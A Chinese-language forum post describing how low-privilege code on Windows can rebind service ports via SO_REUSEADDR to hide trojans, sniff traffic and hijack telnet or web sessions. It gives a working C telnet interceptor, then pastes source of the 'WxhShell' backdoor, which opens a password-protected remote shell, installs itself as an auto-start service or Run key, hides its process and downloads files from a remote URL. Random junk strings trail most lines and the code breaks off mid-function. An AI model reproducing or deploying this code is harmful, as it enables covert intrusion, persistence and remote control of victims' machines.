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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: il^SGH  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pAg;Rib  
bh=d'9B@&J  
  saddr.sin_family = AF_INET; .UNh\R?r  
t6 :;0[j  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {m5tgVi&  
W"9iFj X  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); g*8LdH 6mq  
b:fy  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 '>FJk`iI  
H8 yc<  
  这意味着什么?意味着可以进行如下的攻击: KLBV(`MS  
-,j J{Y~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 .XM3oIaW  
rN#ydw:9  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _DfI78`(  
5vIuH+0  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1xK'T_[  
0@a6r=`el  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  U|odm58s  
m'1NZV%#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #|^7{TN   
5r/QPJ<h  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6suB!XF;  
Z5~dU{XsT  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 r$ue1bH}|  
SxXh N  
  #include X70vDoW  
  #include ~h-G  
  #include =0xuH>WY}w  
  #include    b!hxx Z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9[5NnRv$P  
  int main() 2YK4 SL  
  { n`f},.NM|  
  WORD wVersionRequested; s%]-Sw9  
  DWORD ret; z.23i^Q  
  WSADATA wsaData; tF)K$!GR[  
  BOOL val; Lc^nNUzPo  
  SOCKADDR_IN saddr; $I_ 04k#t  
  SOCKADDR_IN scaddr; [ d<|Cde  
  int err; HC w$v#  
  SOCKET s; >j?5MIm03  
  SOCKET sc; E*Vx^k$  
  int caddsize; YlOYgr^  
  HANDLE mt; 4@#1G*OO  
  DWORD tid;   sw*k(i  
  wVersionRequested = MAKEWORD( 2, 2 ); a AYO(;3  
  err = WSAStartup( wVersionRequested, &wsaData ); (omdmT%D  
  if ( err != 0 ) { r5[om$|*  
  printf("error!WSAStartup failed!\n"); C|"T!1MlY4  
  return -1; ,G1|] ~  
  } q ,d]i/T  
  saddr.sin_family = AF_INET; xt +fu L  
   h./cs'&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?zUV3Qgzj  
E=gD{1,?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [$?S9)Xd  
  saddr.sin_port = htons(23); Kbx(^f12  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Q3%a=ba)h  
  { qM@][]j:  
  printf("error!socket failed!\n"); [$3Zid  
  return -1; IC[SJVH;  
  } !_<.6ja  
  val = TRUE; tZ>>aiI3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 DLyHC=%{+h  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;~z>GJox  
  { ?t)y/@eG  
  printf("error!setsockopt failed!\n"); x=1G|<z%  
  return -1; 8+a/x#b-  
  } 4q@o4C<0  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; b7v] g]*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 wd*T"V3  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 F-k1yZ?^  
8!>uC&bE8  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) DS>s_3V  
  { M; zRf3S  
  ret=GetLastError(); SrK;b .  
  printf("error!bind failed!\n"); eHv~?b5l  
  return -1; KGi@H%NN  
  } DWJ%r"aN  
  listen(s,2); 9 )B>|#\  
  while(1) g ^)>-$=  
  { <!X'- >i%q  
  caddsize = sizeof(scaddr); HAo8]?J  
  //接受连接请求 U'-MMwE]  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Djf2ir'  
  if(sc!=INVALID_SOCKET) dG7sY O@U  
  { ~\<ZWU<BE  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^ .kas7 <  
  if(mt==NULL) qa^x4xZM  
  { ;~~Oc  
  printf("Thread Creat Failed!\n"); a,cDj  
  break; 7u5B/M!  
  } 9][Mw[k>  
  } c}Z,xop<P{  
  CloseHandle(mt); rA*,)I_v@  
  } AG}' W  
  closesocket(s); 9[T#uh!DC  
  WSACleanup(); JPQ02&e  
  return 0; Xki/5roCQ|  
  }   (/"T=`3t  
  DWORD WINAPI ClientThread(LPVOID lpParam) .[cT3l/t  
  { .U5+PQN  
  SOCKET ss = (SOCKET)lpParam; Zz?+,-$_*&  
  SOCKET sc; 08k1 w,6W  
  unsigned char buf[4096]; *B:{g>0  
  SOCKADDR_IN saddr; 7M;Y#=sR  
  long num; 8x,;B_Zu  
  DWORD val; 9U}EVpD  
  DWORD ret; ~w]1QHA'f  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ,eUMSg~P.7  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   vo7 1T<K  
  saddr.sin_family = AF_INET; fil6w</L  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 73}k[e7e  
  saddr.sin_port = htons(23); /Z2*>7HM8[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w5n>hz_5  
  { nj7Ri=lyS  
  printf("error!socket failed!\n"); Z/-%Eb]L1  
  return -1; \ vJ*3H6  
  } vy|}\%*r~  
  val = 100; Bl`e+&b  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6w1:3~a  
  { Kyl(  
  ret = GetLastError(); dje3&a  
  return -1; )0}obPp  
  } {7/6~\'/@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b:O4d<+%  
  { <Isr  
  ret = GetLastError(); y Fp1@*ef  
  return -1; Ds}6{']K  
  } Wnf`Rf)1z  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) (/*-M]>  
  { _4E+7+  
  printf("error!socket connect failed!\n"); t&r?O dc&m  
  closesocket(sc); tQ&#FFt,)  
  closesocket(ss); uDoSe^0  
  return -1; fs)O7x-B(  
  } 9(X *[X#  
  while(1)  %;W8;  
  { m9e$ZZG$  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ! h4So4p  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^Ws~h\{%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 um8ZhXq  
  num = recv(ss,buf,4096,0); J7cqnj  
  if(num>0) D3^v[>E2  
  send(sc,buf,num,0); }+=@Ci  
  else if(num==0) xq~=T:>/A  
  break; &H+<uYV  
  num = recv(sc,buf,4096,0); 5~[ Fh2+  
  if(num>0) 7L<oWAq  
  send(ss,buf,num,0); @~N#)L^  
  else if(num==0) "t\9@nzdX  
  break; 6kDU}]c:H]  
  } *M`[YG19!e  
  closesocket(ss); q?0goL  
  closesocket(sc); &Y#9~$V=  
  return 0 ; w^p2XlQ<  
  } }Ql;%7  
s[s^z<4G  
9n%W-R.  
========================================================== ljf9L:L  
]g)%yuox9F  
下边附上一个代码,,WXhSHELL ovfw_  
\@F{Q-  
========================================================== dl;A'/(t  
|ITg-t  
#include "stdafx.h" U NAuF8>K  
?t%5/  
#include <stdio.h> ^|\?vA  
#include <string.h> &WRoNc  
#include <windows.h> .-34 g5  
#include <winsock2.h> d[Fsp7U}  
#include <winsvc.h> 'V>+G>U  
#include <urlmon.h> e| l?NXRX  
2'}2r ~6  
#pragma comment (lib, "Ws2_32.lib") =VSieh  
#pragma comment (lib, "urlmon.lib") s3knh&'zb  
LaIif_fie^  
#define MAX_USER   100 // 最大客户端连接数 ){(cRB$  
#define BUF_SOCK   200 // sock buffer SMy&K[hJ[  
#define KEY_BUFF   255 // 输入 buffer LpiLk| 2i  
d)AkA\neWo  
#define REBOOT     0   // 重启 a* D|$<V  
#define SHUTDOWN   1   // 关机 QMsnfG  
EPg?jKZava  
#define DEF_PORT   5000 // 监听端口 #nxx\,i>  
u4nXK <KL|  
#define REG_LEN     16   // 注册表键长度 xAO ]u[J  
#define SVC_LEN     80   // NT服务名长度 wvYxL c#p0  
aOuon0  
// 从dll定义API W>Kwl*Cis"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *>#cs#)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); x$p\ocA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J+4uUf/d!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ejQCMG7  
wb?hfe  
// wxhshell配置信息 x SUR<  
struct WSCFG { E:tUbWVp  
  int ws_port;         // 监听端口 rTJWftH!  
  char ws_passstr[REG_LEN]; // 口令 8]L.E  
  int ws_autoins;       // 安装标记, 1=yes 0=no R.QcXz?d  
  char ws_regname[REG_LEN]; // 注册表键名 ?t"PawBWE  
  char ws_svcname[REG_LEN]; // 服务名 3HiW1*5W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x?F{=\z/o  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 p?h;Sv/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;|%r!!#-t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no I"!{HnSG`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :({<"H)!'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 uXC?fMWp.  
JQCwI`%i  
}; ) jvkwC  
RAxz+1JT  
// default Wxhshell configuration -I*A  `M  
struct WSCFG wscfg={DEF_PORT, kr/h^e  
    "xuhuanlingzhe", s [!SG`&  
    1, j AE0$u~.  
    "Wxhshell", W7 E-j+2  
    "Wxhshell", z~_\onC  
            "WxhShell Service", |)_R bqZ  
    "Wrsky Windows CmdShell Service", %xruPWT:k  
    "Please Input Your Password: ", r/v&tU  
  1, +OmSR*fA0  
  "http://www.wrsky.com/wxhshell.exe", SrtmpQ  
  "Wxhshell.exe" izw}25SW  
    }; h.^DRR^S  
O o:jP6r  
// 消息定义模块 E.3}a>f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Rt|Hma  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [ b W=>M  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3{z|301<m  
char *msg_ws_ext="\n\rExit."; w~&]gyf  
char *msg_ws_end="\n\rQuit."; K6U>Qums  
char *msg_ws_boot="\n\rReboot..."; 2I<T<hFW]  
char *msg_ws_poff="\n\rShutdown..."; mI0r,Z*+M  
char *msg_ws_down="\n\rSave to "; MD)"r>k  
8G P}g?%  
char *msg_ws_err="\n\rErr!"; (D{}1sZBQ  
char *msg_ws_ok="\n\rOK!"; #.)>geLC>9  
l.juys8s  
char ExeFile[MAX_PATH]; cn0Fz"d  
int nUser = 0; ?X1#b2s  
HANDLE handles[MAX_USER]; iQF}x&a<  
int OsIsNt; ~}AP@t*  
B@=<'/S\7  
SERVICE_STATUS       serviceStatus; AIyv;}5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &^H "T6  
h~@+M5r,  
// 函数声明 8hfh,v5(  
int Install(void); !;gke,fB  
int Uninstall(void); |DD?3#G01  
int DownloadFile(char *sURL, SOCKET wsh); >C[1@-]G%7  
int Boot(int flag); $%JyM  
void HideProc(void); t["Df;"O  
int GetOsVer(void); .7FI%  
int Wxhshell(SOCKET wsl); S+G)&<a^  
void TalkWithClient(void *cs); ,LZ:y1z'V-  
int CmdShell(SOCKET sock); a AM UJk  
int StartFromService(void); uH[0kh  
int StartWxhshell(LPSTR lpCmdLine); OpLSjr  
mW-W7-JhO7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); E'8Bw7Tz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'qJ-eQ7e  
02[II_< 1  
// 数据结构和表定义 JWL J<z  
SERVICE_TABLE_ENTRY DispatchTable[] = -/%jeDKp  
{ Ol[gck|~  
{wscfg.ws_svcname, NTServiceMain}, o }A #-   
{NULL, NULL} e63|Z[8  
}; o3qv945  
D3xaR   
// 自我安装 Yk Pt*?,P/  
int Install(void) dO,05?q|  
{ E+zn\v  
  char svExeFile[MAX_PATH]; fJ2{w[ne  
  HKEY key; m!60.  
  strcpy(svExeFile,ExeFile); 0)5Sx /5'  
17)M.(qmuP  
// 如果是win9x系统,修改注册表设为自启动 fm>K4\2  
if(!OsIsNt) { ]F;]<_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e,&%Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QtQ^"d65  
  RegCloseKey(key); sjgR \`AU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0 0&$SE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MPn>&28"|K  
  RegCloseKey(key); |:+pPh!-  
  return 0; 9`xFZMd31A  
    } %n25Uq  
  } qk,y|7 p  
} *^6xt7  
else { >-lL -%N_  
H$amt^|zQ4  
// 如果是NT以上系统,安装为系统服务 X.l"f'`l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~q(C j"7  
if (schSCManager!=0) W;dzLgc  
{ 2gAdZE&Y  
  SC_HANDLE schService = CreateService ,jsx]U/^  
  ( ~#_$?_/(  
  schSCManager, lMez!qx,=  
  wscfg.ws_svcname, 5,BkwAr+6[  
  wscfg.ws_svcdisp, y=xe<#L  
  SERVICE_ALL_ACCESS, 3b@1Zahz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jA4v?(AO}#  
  SERVICE_AUTO_START, $L8s/1up  
  SERVICE_ERROR_NORMAL, L"7` \4  
  svExeFile, a=.db&;vY  
  NULL, l0\>zWLZZ9  
  NULL, I%>]!X  
  NULL, AdOAh y2H  
  NULL, *9Js:z7I  
  NULL #4 &N0IG  
  ); s4`*0_n  
  if (schService!=0) |/=p  
  { HcVs(]tIW  
  CloseServiceHandle(schService); EJaaW&>[  
  CloseServiceHandle(schSCManager); +1jqCW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); AJlIA[Kt:  
  strcat(svExeFile,wscfg.ws_svcname); D.R|HqZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8sF0]J[g{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); TL{pc=eBo  
  RegCloseKey(key); .N5R?fmD  
  return 0; X/,1]  
    } >m6,xxTR  
  } *2 $m>N  
  CloseServiceHandle(schSCManager); #'Y6UGJ\n  
} a 8hv.43  
} (Zn3-t*  
7WfirRM  
return 1; 9Q7cUoxY  
} OGi4m |  
| ,l=v`/  
// 自我卸载 bA^: p3  
int Uninstall(void) [-Tt11  
{ 'a/6]%QFd!  
  HKEY key; H&=4y) /.  
D3AtYt  
if(!OsIsNt) { p z+}7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4i\aW:_'i  
  RegDeleteValue(key,wscfg.ws_regname); }:l%,DBw  
  RegCloseKey(key); <T.#A8c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &Yks,2:P  
  RegDeleteValue(key,wscfg.ws_regname); f.84=epv  
  RegCloseKey(key); xiOrk  
  return 0; 27 YLg c  
  } *o\Y~U-so  
} dms:i)L2  
} zV(tvt  
else { i~Ob( YIH  
[(P[qEY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <\9Ijuq}k  
if (schSCManager!=0) \ NSw<.  
{ ~v(M6dz~vk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "ko?att~  
  if (schService!=0) M3;v3 }z<-  
  { L5qCv -{  
  if(DeleteService(schService)!=0) { I;.! hV>E  
  CloseServiceHandle(schService); &B7+>Ix,  
  CloseServiceHandle(schSCManager); ?)o4 Kt'h  
  return 0; Iam-'S5  
  } ny_ kr`$42  
  CloseServiceHandle(schService); ]7R&m)16  
  } nK%/tdq  
  CloseServiceHandle(schSCManager); n.Eoi4jV'  
} {L-aXe{  
} a(43]d&  
0m YZ7S5g  
return 1; k1Mxsd  
} 8&A|)ur4  
3|'#n[3  
// 从指定url下载文件 07LL)v~  
int DownloadFile(char *sURL, SOCKET wsh) W/ZahPPq  
{ V=zM5MH2  
  HRESULT hr; -2jBs-z  
char seps[]= "/"; 6[3Ioh  
char *token; Zj+}T  
char *file;  Vq)gpR  
char myURL[MAX_PATH]; {cyo0-9nv  
char myFILE[MAX_PATH]; d,J<SG&L&  
kq}eUY]  
strcpy(myURL,sURL); K0DXOVT\  
  token=strtok(myURL,seps); E%2!C/+B  
  while(token!=NULL) >]XaUQ-  
  { ND55`KT4  
    file=token; o +QzQ+ Z  
  token=strtok(NULL,seps); lfpt:5a9&  
  } id#k!*$7  
pJ$N@ID  
GetCurrentDirectory(MAX_PATH,myFILE); I bv_D$cT  
strcat(myFILE, "\\"); At[n<8_|  
strcat(myFILE, file); mp+\!  
  send(wsh,myFILE,strlen(myFILE),0); Z/6'kE{l  
send(wsh,"...",3,0); K'{W9~9Lq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g"dZB2`C  
  if(hr==S_OK) \l=KWa3Q  
return 0; Q1ABnacR  
else }2BH_  2  
return 1; [>M*_1F  
[,o5QH\Etq  
} v1X&p\[d  
r@ T-Hi  
// 系统电源模块  IB.'4B7  
int Boot(int flag) ofPF}  
{ JX\T {\m#  
  HANDLE hToken; QC\g%MVG  
  TOKEN_PRIVILEGES tkp; ghJ,s|lH  
9?l?G GmQ  
  if(OsIsNt) { v-7Rb )EP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rz[uuY7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); msqxPC^I  
    tkp.PrivilegeCount = 1; _L:i=.hxN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5fj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @cS1w'=  
if(flag==REBOOT) { sx-Hw4.a"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) WDoKbTv  
  return 0; ><#2O  
} 5}d/8tS  
else { SN[L4}{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '!yS72{$2  
  return 0; GOZQ5m -  
} q(jkit~`A  
  } vU8FHVytV  
  else { 7i+!^Qj?y  
if(flag==REBOOT) { M]4=(Vv+5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0x>/6 <<  
  return 0; b5n]Gp  
} x '=3&vc4  
else { P+;CE|J`X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B.Zm$JZ:  
  return 0; veX"CY`hn  
} z*dQIC  
} e0~sUVYf  
1o;g1Z/  
return 1; n2jvXLJq  
} r{_B:  
V &mH#k  
// win9x进程隐藏模块 cz7 CrK~5  
void HideProc(void) m<FWv2)^  
{ u^aFj%}]L  
n ,&/D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {XDY:`vZ}  
  if ( hKernel != NULL ) Uxk[O  
  { ]M+VSU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z92iil;t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~|r'2V*  
    FreeLibrary(hKernel);  O ':0V  
  } $TD~k;   
~$&:NB1~q  
return; $KwI}>E4  
} w PG1P'w;  
f.aB?\"f6  
// 获取操作系统版本 Uw2,o|=O  
int GetOsVer(void) |b$>68:  
{ F}6DB*  
  OSVERSIONINFO winfo; wDT>">&d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N"Qg\PS_  
  GetVersionEx(&winfo); tT@w%Sz57N  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) MG7 ?N #  
  return 1; ~|y^\U@  
  else ` j&0VIU>>  
  return 0; ()QOZ+x_!  
} FG DGWcRw~  
(B _7\}v|_  
// 客户端句柄模块 jb|mip@` <  
int Wxhshell(SOCKET wsl) %1-K);S J  
{ e-CNQnO~  
  SOCKET wsh; X$7Oo^1;  
  struct sockaddr_in client; h&=O-5  
  DWORD myID; GSMk\9SI  
P+)qE6\  
  while(nUser<MAX_USER) &=F-moDD  
{ zb>f;[  
  int nSize=sizeof(client); aN^]bs?R  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3I9T|wQ-]  
  if(wsh==INVALID_SOCKET) return 1; PGPISrf  
8)^B32  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F_A%8)N  
if(handles[nUser]==0) h4hN1<ky\  
  closesocket(wsh); gk!E$NyE  
else Q^z=w![z  
  nUser++; mR{CVU  
  } Y7<zm}=(/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Vq3gceo'0A  
}xAie(  
  return 0; N$\ bg|v  
} YCa@R!M*O  
*4 <4  
// 关闭 socket s? QVX~S"  
void CloseIt(SOCKET wsh)  \#4m@  
{ ?M*7@t@  
closesocket(wsh); g M4Pj[W  
nUser--; yfmp$GO:  
ExitThread(0); o&(wg(Rv  
} 8YuJ8KC  
-PNi^ K_  
// 客户端请求句柄 )y9;OA  
void TalkWithClient(void *cs) Y/. AUN Z  
{ &+mV7o  
V ]79vC  
  SOCKET wsh=(SOCKET)cs; aWyUu/g<A`  
  char pwd[SVC_LEN]; )v[XmJ>H~o  
  char cmd[KEY_BUFF]; 8F#osN  
char chr[1]; 63W{U/*aao  
int i,j; bGbqfO`  
2t+D8 d|c<  
  while (nUser < MAX_USER) { Fi mN?s  
>_XOc  
if(wscfg.ws_passstr) { `NBbTQtgO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ldA!ou7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QX[Djz0H8  
  //ZeroMemory(pwd,KEY_BUFF); n[!;yO  
      i=0; ;Vg^!]LL#  
  while(i<SVC_LEN) { DH 6q7"@  
\+-zRR0  
  // 设置超时 "jMqt9ysN  
  fd_set FdRead; JnfqXbE  
  struct timeval TimeOut; 4-mVB wq  
  FD_ZERO(&FdRead); 3Jk[/ .h  
  FD_SET(wsh,&FdRead); H&M1>JtE  
  TimeOut.tv_sec=8; |xn#\epy@  
  TimeOut.tv_usec=0; G6ayMw]OF  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m#tpbFAsc  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {Fbg]'FQ  
]eE 1n2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]kx-,M(  
  pwd=chr[0]; P0^c?s"I  
  if(chr[0]==0xd || chr[0]==0xa) { 8{dEpV*  
  pwd=0; /Rj#sxtdw  
  break; }g~g50ci  
  } Kx~$Bor_!  
  i++; ZWO)tVw9G  
    } ; e@gO  
ipobr7G.SD  
  // 如果是非法用户,关闭 socket i3#'*7f%j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8".2)W4*  
} 7paUpQit  
 EIr@g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _a](V6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @Mm/C?#*O  
._?V%/  
while(1) { *i^`Dw^~y  
`Oq M8U @  
  ZeroMemory(cmd,KEY_BUFF); ;j{7!GeKa  
lwc5S `"  
      // 自动支持客户端 telnet标准   we3tx{j  
  j=0; hq=,Z1J  
  while(j<KEY_BUFF) { <47k@Ym   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7h%4]  
  cmd[j]=chr[0]; *m9{V8Yi2  
  if(chr[0]==0xa || chr[0]==0xd) { LN4qYp6)G  
  cmd[j]=0; 4S|=/f  
  break; k;k}qq`d  
  } iK#/w1`  
  j++; K/txD20 O|  
    } LXj5R99S  
8$0\J_  
  // 下载文件 wJe?t$ac?  
  if(strstr(cmd,"http://")) { %%%S"$t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {T=52h=e  
  if(DownloadFile(cmd,wsh)) fiVHRSX60  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jfD1  
  else WK0C  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t V03+&jF  
  } kZLMtj-   
  else { 4U=75!>  
Z<U>A   
    switch(cmd[0]) { ]ab#q=  
  XM/vDdR  
  // 帮助 Tkw;pb  
  case '?': { LH2PTW\b!6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }u%"$[I}  
    break; |S&5es-yW  
  } KB!5u9  
  // 安装 [ %}u=}@  
  case 'i': { \ECu5L4  
    if(Install()) {hQ6K)s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I9Eu',  
    else Kc #|Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ecj7BT[mLI  
    break; Dzl;-]S  
    } o%`Xa#*Ly  
  // 卸载 im]g(#GnKh  
  case 'r': { +pf5\#l?  
    if(Uninstall()) 6?qDdVR~]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #DFV=:|~  
    else <@G8ni  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KVPR}qTP;  
    break; wJeG(h  
    } Md,pDWb  
  // 显示 wxhshell 所在路径 v .=/Y(J  
  case 'p': { .&1C:>  
    char svExeFile[MAX_PATH]; c)}2K0  
    strcpy(svExeFile,"\n\r"); #aar9  
      strcat(svExeFile,ExeFile); AVl~{k|  
        send(wsh,svExeFile,strlen(svExeFile),0); Wh( |+rJ?Z  
    break; x[Im%k  
    } o31Nmy Ni  
  // 重启 `y^sITr  
  case 'b': { -F\qnsZ2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %0,-.(h  
    if(Boot(REBOOT)) +oc >S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jjzA .8?(7  
    else { ]]0,|My7  
    closesocket(wsh); >?lOE -}^  
    ExitThread(0); usFfMF X  
    } F%d \~Vj  
    break; P[ r];e  
    } ?F7o!B  
  // 关机 rJJ[X4$  
  case 'd': { vUA0FoOp  
